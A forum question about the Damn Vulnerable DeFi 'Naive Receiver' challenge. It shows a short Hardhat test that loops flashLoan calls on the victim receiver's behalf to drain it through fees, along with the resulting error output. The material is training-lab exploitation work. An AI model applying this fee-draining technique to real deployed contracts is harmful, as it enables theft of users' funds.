I'm trying to solve the Damn vulnerable Defi challenge's Level 2 - Naive Receiver.
We have to drain the user's balance by exploiting the missing access control allowing anyone to be the borrower and call the flashloan. This allows anyone to request loans for the receiver contract and draining their balance due to 1 Ether fee.
Here's my solution:
it('Exploit', async function () {
for(let i=0; i<10; i++) {
await this.pool.flashLoan(this.receiver.address, ethers.utils.parseEther('0'), {from: attacker});
}
});
Here's the error that I got while running the test yarn hardhat test test/naive-receiver/naive-receiver.challenge.js
:
0 passing (871ms)
2 failing
1) [Challenge] Naive receiver
Exploit:
Error: invalid ENS name (argument="name", value="<SignerWithAddress 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC>", code=INVALID_ARGUMENT, version=providers/5.4.5)
at Logger.makeError (node_modules/@ethersproject/logger/src.ts/index.ts:225:28)
at Logger.throwError (node_modules/@ethersproject/logger/src.ts/index.ts:237:20)
at Logger.throwArgumentError (node_modules/@ethersproject/logger/src.ts/index.ts:241:21)
at EthersProviderWrapper.<anonymous> (node_modules/@ethersproject/providers/src.ts/base-provider.ts:1565:20)
at step (node_modules/@ethersproject/providers/lib/base-provider.js:48:23)
at Object.next (node_modules/@ethersproject/providers/lib/base-provider.js:29:53)
at fulfilled (node_modules/@ethersproject/providers/lib/base-provider.js:20:58)
2) [Challenge] Naive receiver
"after all" hook for "Exploit":
AssertionError: Expected "10000000000000000000" to be equal 0
at Context.<anonymous> (test/naive-receiver/naive-receiver.challenge.js:44:17)
at processTicksAndRejections (node:internal/process/task_queues:95:5)
at runNextTicks (node:internal/process/task_queues:64:3)
at listOnTimeout (node:internal/timers:533:9)
at processTimers (node:internal/timers:507:7)
error Command failed with exit code 2.
Is there something wrong with my code or logic?